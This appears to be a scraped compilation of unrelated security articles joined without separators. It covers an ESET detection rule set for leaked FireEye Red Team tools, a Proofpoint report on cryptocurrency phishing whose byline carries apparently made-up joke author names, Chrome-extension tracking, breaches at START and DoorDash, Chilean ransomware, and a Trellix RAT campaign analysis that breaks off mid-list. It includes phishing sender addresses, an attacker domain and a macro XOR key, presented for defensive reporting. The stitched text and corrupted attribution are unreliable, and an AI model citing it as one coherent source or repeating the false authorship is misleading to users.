ESET releases a 45-strong rule set for ESET Enterprise Inspector to detect the use of FireEye Red Team tools in customer networks
Conducting penetration tests on your network by emulating adversaries is a robust offensive security exercise that you can use to understand the visibility and capability your organization has to detect, respond to and mitigate cyberattacks.
Such exercises usually involve an attack team (the Red Team) that uses a set of tools, both open-source and custom-built, to imitate various techniques typically used by sophisticated adversaries and a defense team (the Blue Team) that will monitor the network for suspicious activity and attempt to detect and fend off the Red Team’s attacks.
FireEye’s Red Team has recently had their tools pilfered by a state-sponsored actor.
Although most of the stolen tools were already open-source, together they cover all the phases of the Cyber Kill Chain.
In response to the FireEye Red Team tools leak, ESET is offering a custom rule set for customers of ESET Enterprise Inspector that can detect the presence of these tools in their networks.
It is important to note that some of the techniques used by these Red Team tools abuse legitimate system features and mechanisms.
Therefore, depending on the specific configuration and setup of customers’ networks, some of the rules (that detect tools abusing legitimate features) may produce a high volume of false positive alerts.
Customers should fine-tune the use of these rules for their particular environments by evaluating the binaries and processes related to the alerts and should either create exceptions to the offending rules or add a global exclusion in ESET Enterprise Inspector.
The FireEye Red Team tools covered in this rule package:
FireEye Red Team Tools	ESET Enterprise Inspector Rules
ADPasshunt — an Active Directory credentials stealer tool	Adpasshunt (credential stealer) [FireEye Tools] [IOC0101]
Beacon — a FireEye version of the Cobalt Strike payload Beacon	Renamed msbuild.exe by arguments (methodology) [FireEye Tools][IOC0119]
Renamed regsvr32.exe (methodology) [FireEye Tools][IOC0120]
Suspicious execution of search indexer (methodology) [FireEye Tools][IOC0134]
Suspicious Symerr drop (methodology) [FireEye Tools][IOC0139]
Suspicious Symerr process (methodology)[FireEye Tools][IOC0140]
Suspicious use of workflow compiler for payload execution (methodology) [FireEye Tools][IOC0141]
PayloadGenerationFramework — a backdoor development framework that leverages multiple built-in Windows binaries for masquerading	Control Panel items (methodology) [FireEye Tools][IOC0103]
Dism execution in suspicious location (methodology) [FireEye Tools][IOC0104]
Dism network activity (methodology) [FireEye Tools][IOC0105]
Dll hijack (methodology) [FireEye Tools][IOC0107]
Installutil app whitelisting bypass (methodology) [FireEye Tools][IOC0108]
Installutil child process (methodology) [FireEye Tools][IOC0109]
Possible srproxy side-loading (methodology) [FireEye Tools][IOC0117]
Regasm parent process (methodology) [FireEye Tools][IOC0118]
Suspicious execution of searchprotocolhost (methodology) [FireEye Tools][IOC0135]
Suspicious execution of searchprotocolhost (methodology)2 [FireEye Tools][IOC0136]
Texttransform parent process (methodology) [FireEye Tools][IOC0143]
PXELoot — a tool for discovering and exploiting misconfigurations in Windows Deployment Services	Pax dism wim mount (utility) [FireEye Tools][IOC0114]
ImpacketObf — a slightly obfuscated version of the open-source Impacket framework.
This python-based framework implements various network protocols and contains utilities like smbexec.py and wmiexec.py, which can be used for lateral movement	Obfuscated impacket wmiexec (utility) [FireEye Tools][IOC0111]
Obfuscated impacket smbexec (utility) [FireEye Tools][IOC0112]
Obfuscated impacket smbexec (utility)2 [FireEye Tools][IOC0113]
LNKSmasher — a tool for malicious shortcut files (.LNK) generation 	Lnksmasher commands (utility) [FireEye Tools][IOC0110]
Safetykatz — a credential dumping tool.
Creates a minidump of the lsass process and uses a .NET PE loader to load a customized version of Mimikatz 	Safetykatz (credential stealer) [FireEye Tools][IOC0121]
Safetykatz (credential stealer)2 [FireEye Tools][IOC0122]
Seatbelt — performs enumeration on a number of security-oriented host-survey checks relevant from both offensive and defensive security perspectives 	Seatbelt (utility) [FireEye Tools][IOC0124]
Seatbelt (utility)2 [FireEye Tools][IOC0125]
GadgetToJScript — an open-source tool for generating .NET gadgets that can trigger .NET assembly load and execution from JavaScript, VBS or VBA scripts 	Suspicious execution of colorcpl.exe (methodology) [FireEye Tools][IOC0132]
Suspicious execution of colorcpl.exe (methodology) 2 [FireEye Tools][IOC0133]
Suspicious userinit.exe process tree (methodology) [FireEye Tools][IOC0142]
SharPivot — a lateral movement tool written in C#.
Utilizes DCOM for executing commands on a remote target	Possible handler poisoning (methodology) [FireEye Tools][IOC0115]
Possible handler poisoning (methodology)2 [FireEye Tools][IOC0116]
Sharpivot (utility) [FireEye Tools][IOC0129]
SharPersist — a persistence tool written in C#.
Implements a range of methods from adding/modifying scheduled tasks to abusing legitimate software like KeePass	Com CLSID registry activity (methodology) [FireEye Tools][IOC0102]
Service failure abuse (methodology) [FireEye Tools][IOC0126]
SharPersist (utility) [FireEye Tools][IOC0127]
SharPersist (utility)2 [FireEye Tools][IOC0128]
Sharpstomp — a C# tool for timestomping (altering MAC timestamps of files)	Sharpstomp (utility) dropped [FireEye Tools][IOC0130]
Sharpstomp (utility)executed [FireEye Tools][IOC0131]
TitoSpecial — a variant of the publicly available credential dumping tool AndrewSpecial	Titospecial memory dump (credential stealer) [FireEye Tools][IOC0144]
Weaponize — uses the built-in Windows binary TSTheme.exe 	Suspicious execution of tstheme.exe (methodology) [FireEye Tools][IOC0137]
Suspicious execution of tstheme.exe (methodology)2 [FireEye Tools][IOC0138]
General techniques used during penetration testing	Dism.exe suspicious child processes (methodology) [FireEye Tools][IOC0106]
Dll hijack (methodology) [FireEye Tools][IOC0107]
Searchprotocolhost.exe suspicious child processes (methodology) [FireEye Tools][IOC0123]
Werfault.exe suspicious child processes (methodology) [FireEye Tools][IOC0145]
How Cyber Criminals Target Cryptocurrency
June 09, 2022 Kip GoldenCoin, Satoshi Winklevoss, Doge le Balle and The Proofpoint Threat Research Team
As cryptocurrency and non-fungible tokens (NFTs) become more mainstream, and capture headlines for their volatility, there is a greater likelihood of more individuals falling victim to fraud attempting to exploit people for digital currencies.
The rise and proliferation of cryptocurrency has also provided attackers with a new method of financial extraction.
It's commonly believed that cryptocurrency provides more anonymity via less governmental and organizational oversight and visibility coupled with the inherent fungibility, thus making it an appealing financial resource for threat actors.
The financially motivated attacks targeting cryptocurrency have largely coalesced under pre-existing attack patterns observed in the phishing landscape prior to the rise of blockchain based currency.
Proofpoint researchers observe multiple objectives demonstrated by cybercriminal threat actors relating to digital tokens and finance such as traditional fraud leveraging business email compromise (BEC) to target individuals, and activity targeting decentralized finance (DeFi) organizations that facilitate cryptocurrency storage and transactions for possible follow-on activity.
Both of these threat types contributed to a reported $14 billion in cryptocurrency losses in 2021.
While most attacks require a basic understanding of how cryptocurrency transfers and wallets function, they do not require sophisticated tooling to find success.
Common techniques observed when targeting cryptocurrency over email include credential harvesting, cryptocurrency transfer solicitation like BEC, and the use of basic malware stealers that target cryptocurrency credentials.
These techniques are viable methods of capturing sensitive values which facilitate the transfer and spending of cryptocurrency.
Cryptocurrency Functionality
To understand which values may be vulnerable to theft by threat actors, it is necessary to understand the basics of how most cryptocurrency transfer and cryptocurrency wallets function.
At its most fundamental the transfer, spending, or conversion of cryptocurrency units are reliant on a multiphase cryptographic process.
This process begins with the generation of a cryptographic seed which is translated into a human-readable “seed phrase” which consists of 12 to 24 words.
These words are recorded as a backup when creating a cryptocurrency “wallet” which allows a user access and transfer funds.
This cryptographic seed is used to mint a “master private key” or in some cases “extended private keys” which are sensitive and allow the creation of “public keys”.
These “public keys” can then generate cryptocurrency addresses via a one-way function which serve as a unique identifier and virtual location where cryptocurrency can be sent.
A cryptocurrency “wallet” is a virtual interface which allows for the storage of multiple private keys, as well as public keys, and is the way that most people “access” the cryptocurrency that has been transferred into or that exists in their wallet.
The early stages in the process which include the seed phrase, seed, master key, extended private key, and private keys consist of highly sensitive values that if compromised can allow threat actors to transfer cryptocurrency out of a user’s cryptocurrency wallet.
If a single private key value is leaked, then a user can lose all funds associated with that key.
However, if a Master Private Key or an Extended Private Key is stolen, funds associated with all child keys generated by that key may be transferred from a user’s cryptocurrency wallet.
Additionally, if a seed phrase/recovery phrase is stolen this will allow a threat actor to access the keys that are generated from that seed.
cryptocurrency
Figure 1: Sensitive Cryptocurrency Values Targeted by Threat Actors
Alternatively, public keys and cryptocurrency values associated with the later stages of the transfer or minting process are less sensitive.
The public key and address are values that are safe to be shared to facilitate the transfer of cryptocurrency without giving external parties access to the funds.
Categorizing the Strains of Phishing that Target Cryptocurrency
The fundamentals of a phishing campaign which targets cryptocurrency can largely be broken down into three categories.
Cryptocurrency Credential Harvesting
Cryptocurrency Transfer Solicitation
Commodity Stealers that target Cryptocurrency Values
There are multiple DeFi applications and platforms – such as cryptocurrency exchanges – that people can use to manage their cryptocurrency.
These platforms often require usernames and passwords, which are potential targets for financially motivated threat actors.
Despite public keys being “safe” to share, researchers are seeing actors solicit the transfer of cryptocurrency funds via BEC type emails that include threat actor controlled public keys and cryptocurrency addresses.
These email scam campaigns rely on social engineering to secure the transfer of funds from targeted victims.
Current threat activity that most closely resembles threat actor activity in the phishing landscape prior to the existence of cryptocurrency in its current form is the use of infostealer malware.
New malware families have been introduced to the landscape, or old malware strains have been updated, that serve a hybrid function of targeting sensitive cryptocurrency related data which can be used for cybercriminal purpose.
The targeted data includes credentials and values associated with the above defined cryptocurrency transfer values.
Credential Harvesting and Cryptocurrency
In 2022 Proofpoint has observed regular attempts to compromise user’s cryptocurrency wallets using credential harvesting.
This method often relies on the delivery of a URL within an email body or formatted object which redirects to a credential harvesting landing page.
Notably these landing pages have begun to solicit values utilized in the transfer and conversion of cryptocurrencies.
An example observed in early March 2022 originated from a compromised cryptocurrency exchange email address and utilized a social engineering lure claiming that the cryptocurrency exchange had experienced a data breach.
Upon clicking the embedded form button which invited users to “Set New Password”, a redirect occurred to the credential harvesting landing page.
cryptocurrency
Figure 2: Phishing email purporting to come from a legitimate cryptocurrency exchange.
Once on the page which impersonated the cryptocurrency exchange Celo, the form prompted the user to enter their “recovery (seed) phrase”.
The prompt field also included an example string of words demonstrating the 12 to 24-word phrase use to recover and access cryptocurrency keys.
In the instance that users shared this value in the credential harvesting portal, actors could use that value to attempt to access the user’s account and transfer funds to actor-controlled addresses.
cryptocurrency
Figure 3: Credential harvesting landing page.
In February 2022, Proofpoint observed a campaign leveraging a Trust Wallet lure that specifically targeted university students.
The messages purported to be, for example:
From: TrustWaIIet <support@e-juju[.
]com>
Subject: Your WaIIet needs to be verified
In the sender and subject, the actor used two capital Is “II” instead of “LL” in the word “wallet” in a likely attempt to bypass email subject line filters.
The email contained a link to a spoofed Trust Wallet website designed to steal credentials.
This campaign also attempted to steal the 12 to 24 word recovery phrase a user would enter to access their wallets.
cryptocurrency
Figure 4: “Trust wallet” passphrase landing page.
English speakers are not the only ones targeted with cryptocurrency stealing phishing campaigns.
In May 2022, a threat actor targeted Portuguese speakers in Brazil with a Binance-themed phishing campaign targeting many different cryptocurrency wallets in an attempt to steal wallet recovery passphrases.
From: Binance Team <root@mensagem1[.]bnb-naoresponda[.
]com>
Subject: Listagem de criptoativos em breve - 09/05/2022 (Machine translation: Crypto asset listing coming soon - 05/09/2022)
The email contained a link to a Binance-themed landing page with a popup listing several cryptocurrency wallets.
If a user attempted to link their wallet, the threat actor would receive the credentials and passphrases to use on the designated service.
cryptocurrency
Figure 5: Portuguese language Binance Cryptocurrency wallet phishing email.
cryptocurrency
Figure 6: Some of the wallets this website is attempting to steal.
cryptocurrency
Figure 7: Credential capture landing page for the cryptocurrency wallet recovery passphrase.
Phishing for NFT credentials uses similar techniques to those used for cryptocurrency wallet stealing.
In May, Proofpoint researchers observed a German language phishing campaign attempted to steal login credentials for opensea[.
]io, a popular NFT trading platform.
The messages leveraged a spoofed Open Sea emailaddress.
HeaderFrom: Opensea.io <noreply@opensea[.
]io>
Subject: Neues Angebot von 7,8354 ETH für Ihren Artikel Nr.
39847 .
(Machine translation: New offer of 7.8354 ETH for your item #39847.)
The email contained a link that led to a spoofed OpenSea website to steal users’ credentials.
cryptocurrency
Figure 8: opensea[.
]io phishing email
Crypto Phishing Kits
Credential harvesting landing pages like those identified above are often built with phish kits that can be used to create multiple landing pages and used in multiple campaigns.
Phish kits give threat actors the ability to deploy an effective phishing page regardless of their skill level.
They are pre-packaged sets of files that contain all the code, graphics, and configuration files to be deployed to make a credential capture web page.
These are designed to be easy to deploy as well as reusable.
They are usually sold as a zip file and ready to be unzipped and deployed without a lot of "behind the scenes" knowledge or technical skill.
Proofpoint researchers have observed multiple examples of phishing threat actors create and deploy phishing kits to harvest both login credentials to cryptocurrency related sites and cryptocurrency wallet credentials or passphrases.
One popular phishing as a service provider, BulletProfitLink, has several different phishing kits for sale that spoof different brands such as blockchain[.
]com.
cryptocurrency
Figure 9: BulletProfitLink “blockchain[.
]com” phishing kit.
BulletProfitLink also has options for NFT and other cryptocurrency wallet service providers.
cryptocurrency
Figure 10: BulletProfitLink “Wallet NFT” phishing kit.
cryptocurrency
Figure 11: BulletProfitLink “Wallet Connect” phishing kit.
cryptocurrency
Figure 12: BulletProfitLink “Link Wallet” phishing kit.
Phishing kits are a popular mechanism for threat actors with low sophistication to quickly spin up infrastructure and begin conducting cyberattacks designed to steal cryptocurrency from a variety of wallets and services.
Business Email Compromise… But For Crypto
A popular form of financial crime vectored through phishing is business email compromise (“BEC”).
The Proofpoint BEC Taxonomy defines BEC as “financially motivated, response-based, socially engineered, email deception”.
In 2022 Proofpoint regularly observes cryptocurrency transfer within the context of BEC attempts.
Primarily these requests are observed in the context of employee targeting, using impersonation as a deception, and often leveraging advanced fee fraud, extortion, payroll redirect, or invoicing as themes.
Proofpoint previously published details on Advanced Fee Fraud in which threat actors send functioning sets of login credentials to fake cryptocurrency wallets in which they are promised large sums of Bitcoin if they deposit some money into the platform first.
The initial BEC email often contains the safe for public consumption values, including public keys and cryptocurrency addresses.
By impersonating an entity known to the user and listing an actor-controlled public key or address, actors are attempting to deceive users into transferring funds from their account willingly based on social-engineering content.
This is like the way actors use routing and bank account numbers during BEC phishing campaigns.
Proofpoint researchers assess with high confidence the extortion branch of the BEC Taxonomy would not be as successful or as profound as it is today without cryptocurrency.
Proofpoint blocks on average a million extortion emails every 24 hours; some high-volume days peak at nearly 2 million extortion emails per day.
Most of these threat types ask the victim to pay in cryptocurrency.
cryptocurrency
cryptocurrency
Figure 13: Extortion email asking for $500 in Bitcoin.
The use of cryptocurrency is the preferred method of extraction in extortion, but Proofpoint also observes it used in other themes.
For example, Proofpoint observes invoice-themed lures purporting to be business-relevant content in an attempt to get a victim to send Bitcoin to a threat actor’s wallet.
In the following example, the threat actor purported to be the CEO of the targeted company asking for vendor payment to be facilitated in Bitcoin.
cryptocurrency
Figure 14: Invoice fraud seeking Bitcoin.
However, Proofpoint observes fewer invoice-related cryptocurrency threats than other BEC types, likely due to typical business financial operations using fiat currency rather than cryptocurrencies.
Proofpoint also regularly observes donation fraud attempting to steal cryptocurrency.
Recently, researchers have observed millions of BEC threats leveraging the Russian invasion of Ukraine and donations to support the Ukraine war effort or Ukrainian people as lure themes to solicit cryptocurrency.
cryptocurrency
Figure 15: Donation fraud using Ukraine themes to solicit cryptocurrency.
Old Stealers Check for Crypto-Specific Artifacts
The use of phishing emails to install malware including commodity malware is reliably a staple of the financially motivated cybercriminal arsenal.
While the methods utilized to install such stealers have not significantly changed in recent years, some new methods for probing cryptocurrency related credentials have been introduced.
Malware families, typically infostealers, such as RedLine Stealer, Arkei Stealer, Pennywise Stealer, and the Megumin and Mars family of stealers, among many others specifically look at the directory in which Cryptocurrency wallet is kept in an attempt to steal the files that are kept in “cold wallets”.
Infostealers that incorporate cryptocurrency wallet targeting maintain their core functionality of stealing information from a host including logging keystrokes, taking screenshots, conducting network reconnaissance, and stealing other sensitive data from an infected machine.
Cryptocurrency targeting is just one component of this type of malware.
Typically, the stealers will look for a “wallet.dat” file which contains public and private keys, transaction history, and a user’s wallet address.
In the following figure, the Pennywise packet capture shows attempts to siphon data from multiple services including cryptocurrency wallets.
cryptocurrency
Figure 16: Pennywise
Proofpoint observes tens of thousands of messages relating to infostealer activity everyday.
However, data from 2021 through 2022 indicates the number of messages related to infostealer malware is less than the amount observed between 2017 through 2020, and the total volume is trending downward.
Conclusion
Financially motivated threat actor activity attempting to steal or extort cryptocurrency is not new.
However, cryptocurrencies, digital tokens, and “Web3” concepts are becoming more widely known and accepted in society.
Where once “crypto” was a concept that thrived in certain parts of the internet, it is now a mainstream idea, with cryptocurrency apps and services advertised by professional athletes and celebrities, and even major sports arenas and Formula 1 teams sponsored by cryptocurrency and blockchain companies.
But threat actors are way ahead of general adoption of cryptocurrency, with existing infrastructure and ecosystems long established for stealing and using it.
And as mainstream awareness and interest increases, it is more likely people will trust or engage with threat actors trying to steal cryptocurrency because they better understand how DeFi operates or are interested in being a part of “the next big thing”.
Users should be aware of common social engineering and exploitation mechanisms used by threat actors aiming to steal cryptocurrencies.
Chrome extensions with 1.4 million installs steal browsing data
Threat analysts at McAfee found five Google Chrome extensions that steal track users’ browsing activity.
Collectively, the extensions have been downloaded  more then 1.4  million times.
The purpose of the malicious extensions is to monitor when users visit e-commerce website and to modify the visitor's cookie to appear as if they came through a referrer link.
For this, the authors of the extensions get an affiliate fee for any purchases at electronic shops.
The five malicious extensions that McAfee researchers discovered are the following:
Netflix Party (mmnbenehknklpbendgmgngeaignppnbe) – 800,000 downloads
Netflix Party 2 (flijfnhifgdcbhglkneplegafminjnhn) – 300,000 downloads
Full Page Screenshot Capture – Screenshotting (pojgkmkfincpdkdgjepkmdekcahmckjp) – 200,000 downloads
FlipShope – Price Tracker Extension (adikhbfjdbjkhelbdnffogkobkekkkej) – 80,000 downloads
AutoBuy Flash Sales (gbnahglfafmhaehbdmjedfhdmimjcbed) – 20,000 downloads
It is worth noting that the above extensions still feature the promised functionality, making it more difficult for victims to notice the malicious activity.
Although using  them does not impact users directly, they are a severe privacy risk.
Thus, if you are using any of the listed extensions, even if you find their functionality useful, it is recommended to remove them from your browser immediately.
How the extensions work
All five extensions discovered by McAfee have a similar behavior.
The web app manifest ("manifest.json" file), which dictates how the extension should behave on the system, loads a multifunctional script (B0.js) that sends the browsing data to a domain the attackers control (“langhort[.
]com”).
The data is delivered through via POST requests each time the user visits a new URL.
The info reaching the fraudster includes the URL in base64 form, the user ID, device location (country, city, zip code), and an encoded referral URL.
If the visited website matches any entries on a list of websites for which the extension author has an active affiliation, the server responds to B0.js with one of two possible functions.
The first one, “Result[‘c’] – passf_url “, orders the script to insert the provided URL (referral link) as an iframe on the visited website.
The second, “Result[‘e’] setCookie”, orders B0.js to modify the cookie or replace it with the provided one if the extension has been granted with the associated permissions to perform this action.
McAfee has also published a video to showcase how the URL and cookie modifications happen in real time:
To evade detection, analysis, and to confuse researchers or vigilant users, some of the extensions feature a delay of 15 days from the time of their installation before they start sending out the browser activity.
At the time of writing this, "Full Page Screenshot Capture – Screenshotting" and "FlipShope – Price Tracker Extension" are still available on the Chrome Web Store.
The two Netflix Party extensions have been removed from the store, but this doesn't delete them from web browsers, so users should take manual action to uninstall them.
Russian streaming platform confirms data breach affecting 7.5M users
Russian media streaming platform ‘START’ (start.ru) has confirmed rumors of a data breach impacting millions of users.
The platform’s administrators shared that network intruders managed to steal a 2021 database from its systems and are now distributing samples online.
The stolen database contains email addresses, phone numbers, and usernames.
START characterizes it as uninteresting to most cybercriminals as it can’t be used for taking over accounts.
Financial information, bank card data, browsing history, or user passwords have not been impacted because these details were not present in the database.
“We have already fixed the vulnerability, and access to our data is closed,” mentions the statement on Telegram.
Even though a global reset isn’t enforced by START, it is recommended that all users change their passwords.
At least 7.5 million users impacted
The rumors about a data breach impacting START first appeared on Sunday, August 28, when a 72GB MongoDB JSON dump containing information of almost 44 million users started to be distributed over a social network.
Many of these entries concern test accounts.
However, the dump contains 7,455,926 unique email addresses, which is likely close to the real number of exposed users.
The records date as recently as on September 22, 2021, so this incident doesn’t impact users who registered with the service after that date.
Russian news outlet Medusa reports having tested random entries from the leaked database on START’s password recovery tool, and all logins turned out to be valid.
One discrepancy between START’s statement and the leaked dump is that the latter contains md5crypt-hashed passwords, IP addresses, login logs, and subscription details, which have not been included in the official statement from the platform.
Russia to tighten data leak rules
Due to the increased cyber-offensive activity against Russian online platforms, the Moscow is implementing methods to defend user data from unauthorized access and to protect its citizens from exposure.
Last week, Kommersant reported that the Ministry of Digital Development is promoting a plan to create a register of “unacceptable IT security practices,” to help raise awareness among organization leaders.
Earlier this month, the same ministry proposed establishing a fund that would be used to compensate victims of database leaks.
The fund would be backed by fines imposed on the entities responsible for the security breaches.
The presented draft law suggests a fine of 3% of the breached company’s annual turnover to introduce an incentive for firms to develop and apply sound security practices.
New ransomware hits Windows, Linux servers of Chile govt agency
Chile's national computer security and incident response team (CSIRT) has announced that a ransomware attack has impacted operations and online services of a government agency in the country.
The attack started on Thursday, August 25, targeting Microsoft and VMware ESXi servers operated by the agency.
The hackers stopped all running virtual machines and encrypted their files, appending the ".crypt" filename extension.
"The ransomware would use the NTRUEncrypt public key encryption algorithm, targeting log files (.log), executable files (.exe), dynamic library files (.dll), swap files (.vswp), virtual disks (.
vmdk), snapshot (.vmsn) files, and virtual machine memory (.vmem) files, among others," - Chile CSIRT
According to CSIRT, the malware used in this attack also had functions for stealing credentials from web browsers, list removable devices for encryption, and evade antivirus detection using execution timeouts.
In typical double-extortion fashion, the intruders offered Chile's CSIRT a communication channel to negotiate the payment of a ransom that would prevent leaking the files and unlock the encrypted data.
The attacker set a three-day deadline and threatened to sell the stolen data to other cybercriminals on the dark web.
Attribution unclear
Chile's CSIRT announcement doesn't name the ransomware group is responsible for the attack, nor does it provide sufficient details that woul lead to identifying the malware.
The extension appended to the encrypted files does not offer any hint because it has been used by multiple threat actors.
While the little information Chile's CSIRT provided on the behavior of the malware points to 'RedAlert' ransomware (aka "N13V"), an operation launched in July 2022, technical details suggest otherwise.
RedAlert ransomware used the ".crypt" extension in attacks, targets both Windows servers and Linux VMWare ESXi machines, is capable to force-stop all running VMs prior to encryption, and uses the NTRUEncrypt public-key encryption algorithm.
However, the indicators of compromise (IoCs) in Chile's CSIRT announcement are either associated with Conti or are return an inconclusive result when fed to automated analysis systems.
Conti has been previously linked to attacks on entire nations, such as the one on Costa Rica in July 2022, which took five days from gaining initial access to stealing and encrypting the systems.
Chilean threat analyst Germán Fernández told BleepingComputer that the strain appears to be entirely new, and the researchers he talked to couldn't associate the malware with known families.
Fernandez also commented that the ransom note wasn't generated during the infection, a detail that BleepingComputer can confirm.
The researcher said that the note was delivered before deploying the file-locking malware.
"One particular thing about the attack, is that the threat actors distributed the ransom note at a previous stage to the deployment of the ransomware as the final payload, possibly for evasion issues or to avoid having their contact details leaked when sharing the final sample."
- Germán Fernández
BleepingComputer was able to analyze multiple samples of the malware used for the attack and retrieved a ransom note named 'readme_for_unlock.txt', seen below:
All ransom notes that BleepingComputer has seen when analyzing this ransomware strain include a link to a unique website in the Tor network along with a password to log in.
As far as we've seen a data leak site for this ransomware does not exist, yet.
The Tor site is for showing a message box where victims can contact the hackers.
Accessing the above communication channel requires a password, which is included in the ransom note.
The malware configures itself to launch on Windows login and uses the name SecurityUpdate at startup.
From what BleepingComputer could learn so far about this ransomware, this is a new operation that launched at the beginning of August.
Chile's cybersecurity organization recommends all state entities as well as large private organizations in the country to apply the following measures:
Use a properly configured firewall and antivirus tool
Update VMware and Microsoft assets
Keep backups of most important data
Verify the configuration of anti-spam filters and train employees to recognize malicious email
Implement network segmentation and apply the principle of least privilege
Stay informed about new vulnerabilities that need immediate patching or mitigation
Chile CSIRT has provided a set of indicators of compromise for files used in the attack that defenders can use to protect their organizations.
DoorDash discloses new data breach tied to Twilio hackers
Food delivery firm DoorDash has disclosed a data breach exposing customer and employee data that is linked to the recent cyberattack on Twilio.
In a security advisory released Thursday afternoon, DoorDash says that a threat actor gained access to the company's internal tools using stolen credentials from a third-party vendor that had access to their systems.
"DoorDash recently detected unusual and suspicious activity from a third-party vendor's computer network.
In response, we swiftly disabled the vendor's access to our system and contained the incident," explains the DoorDash security notice.
The hacker used this access to DoorDash's internal tools to access data for both consumers and employees.
The exposed information includes the names, email addresses, delivery addresses, and phone numbers of consumers.
In addition, for a small subset of customers, the hackers accessed basic order information and partial credit card information, including the card type and the last four digits of the card number.
For employees of the company, known as Dashers, the hackers may have accessed names, phone numbers, and email addresses.
While DoorDash does not mention the name of the third-party vendor, the food delivery company told TechCrunch that the breach is linked to same threat actors who recently attacked Twilio.
DoorDash previously suffered a data breach in 2019 that exposed the data of nearly 5 million customers.
Part of a larger 'Oktapus' phishing campaign
Earlier this month, Twilio disclosed that they were breached after multiple employees fell for an SMS phishing attack that allowed threat actors to access internal systems.
Using this access, the threat actors could access the data of 163 Twilio customers and use that data in further supply-chain attacks.
"To date, our investigation has identified 163 Twilio customers - out of a total customer base of over 270,000 - whose data was accessed without authorization for a limited period of time, and we have notified all of them," explains an updated Twilio security advisory.
The fallout from this attack is just being realized, with Twilio disclosing this week that the hackers were also able to access 93 Authy 2FA accounts as part of the breach.
Signal also disclosed that the breach allowed hackers to access the phone numbers of 1,900 users, with some accounts reregistered to new devices.
However, the attack on Twilio and DoorDash is part of a much larger phishing campaign dubbed 'Oktapus' after the threat actor's targeting of Okta identity management login credentials.
The campaign was discovered by cybersecurity firm Group-IB, which said that the threat actors breached over 130 organizations worldwide using an SMS phishing campaign.
These SMS phishing texts utilized phishing domains containing the keywords "OKTA," "HELP," "VPN," and "SSO" and told targets to click on a link to update their password or access other information.
These attacks were very successful, leading to additional reported data breaches at MailChimp and Klaviyo and an attempted breach of Cloudflare.
Other companies targeted in the attack include Coinbase, KuCoin, Binance, Microsoft, Telus, Verizon Wireless, T-Mobile, AT&T, Sprint, Rogers, Mailgun, Slack, Box, SendGrid, Yahoo, Sykes, BestBuy, and Infosys.
However, none of these other companies have disclosed whether the attacks were successful.
8/26/22 update: Story updated to clarify that the DoorDash breach was conducted by the same hackers as Twilio but not through Twilio
Targeted Attack on Government Agencies
By Sushant Kumar Arya, Mohsin Dalla · July 13, 2022
Executive summary
The Trellix Email Security Research Team has discovered a malicious campaign targeting government agencies of Afghanistan, India, Italy, Poland, and the United States since 2021.
The attack starts with a spear phishing email with a geo-political theme.
The spear phishing emails were themed around India Afghanistan relationship.
Attacker used politics as a lure to trick users into clicking on a malicious link.
The email used for this phishing attack contains an attachment or a weaponized URL that delivers an Excel sheet.
Upon opening the Excel sheet, Excel executes an embedded malicious macro which then decrypts and installs a Remote Access Trojan (AysncRAT & LimeRAT) and maintains persistence.
Once the Remote Access Trojan is installed on the victim machine, it establishes communication with a Command-and-Control server used to exfiltrate victim data.
The Remote Access Trojan is capable of taking screenshots, capturing keystrokes, recording credentials/confidential information, and adding infected systems to botnets.
It can also perform network discovery and move laterally to other systems in the affected organization.
The email used in this attack originated from the South Asia region which suggests the involvement of a South Asian threat actor.
Trellix Email Security has detection coverage for this malicious campaign.
Figure 1.
Target countries
Figure 1.
Target countries
Threat landscape
The Trellix Email Security product can follow the entire attack chain and analyze the final payload.
In this scenario, it followed the chain: EMAIL -> URL -> ZIP -> XLS -> Macro.
Finally, our threat database was able to detect the malicious macro performing decryption, creating an executable object, performing process injection, and utilizing other malicious techniques.
Trellix Email Security has detection for the malicious Excel sheet with name - FE_APT_Dropper_Macro_DoubleHide_1.
Figure 2.
Attack timeline
Figure 2.
Attack timeline
Attack timeline
As seen in Figure 2, the attack was active for over a year.
The attacker sent emails for a short interval and then went back into hiding.
This was followed by subsequent similar waves.
The first wave of attack was noticed during March-April 2021, followed by another in July 2021, then again in December 2021, and most recently during end of March 2022.
Email details
The attackers used the free mail service Gmail to send the spear phishing emails.
Based on email header analysis, it was evident that the emails originated from Google servers and were sent from the South Asia region.
The time zone of the email sender (+0500 UTC) further suggests the involvement of South Asian threat actors.
Figure 3.
Email headers
Figure 3.
Email headers
The spear phishing email was themed around geopolitical news related to India like "Indian Nationals ( who were hidden in Kabul ) Killing in Kabul Tonight" and “Indian workers missing from the dam project.”
More recently, the email used a COVID theme with the subject - "31 Covid Deaths In 24 Hours: Information campaign by NDTV".
The email had a Google drive link serving a malicious ZIP file.
In some cases, the malicious ZIP was sent as an email attachment.
The ZIP contains an Office document which is used to drop a RAT (Remote Access Trojan).
Figure 4.
Email sample
Figure 4.
Email sample
Figure 5.
Attack chain
Figure 5.
Attack chain
Technical details
The document file (DOC/XLS) acts as a dropper, which drops and executes a file named "msword.exe".
The Excel sheet contains a VBA macro which is enabled when the document file is opened.
The malicious executable code is stored in the document file itself (within a form text field) in the base64 encoded format.
The VBA macro reads the base64 content, decodes it, and then decrypts the decoded content with a hardcoded XOR key.
Multiple levels of base64 decoding and XOR decryption are used to obfuscate the malicious executable file.
Figure 6.
XLS with macro
Figure 6.
XLS with macro
Figure 7.
Macro code: Workbook Open
Figure 7.
Macro code: Workbook Open
Figure 8.
Macro code: Main function which is called inside Workbook Open event
Figure 8.
Macro code: Main function which is called inside Workbook Open event
XOR Key :
"MxjnbvbX%$#@c%%!
@#$C%^&*(K(*&K0^%$W$@!&@#$C%EGGGxcel^MicrosoLKHGFD^%$W@2017!&^%$#lx^&%$0"
Figure 9.
Macro code: XOR function
Figure 9.
Macro code: XOR function
“msword.exe” is an SFX archive executable, which contains multiple malicious executable files as shown in Figure 10.
Figure 10. msword.exe contents
Figure 10. msword.exe contents
File name 	File info
3_5 	LimeRAT [Runtime: .Net Framework 2.0]
4 	AsyncRAT [Runtime: .Net Framework 4]
4_5 	AsyncRAT [Runtime: .Net Framework 4.5]
4_5_1 	AsyncRAT [Runtime: .Net Framework 4.5.1]
4_5_2 	AsyncRAT [Runtime: .Net Framework 4.5.2]
4_6 	AsyncRAT [Runtime: .Net Framework 4.6]
4_6_1 	AsyncRAT [Runtime: .Net Framework 4.6.1]
4_7 	AsyncRAT [Runtime: .Net Framework 4.7
4_7_2 	AsyncRAT [Runtime: .Net Framework 4.7.2]
igfx.exe 	Delphi compiled file installs RAT file according to available .Net version
Upon execution, "msword.exe" drops the RAT files shown in the table above.
These RAT executables are obfuscated using “Crypto Obfuscator For .Net”.
“msword.exe” then starts the process “igfx.exe” which performs the following actions:
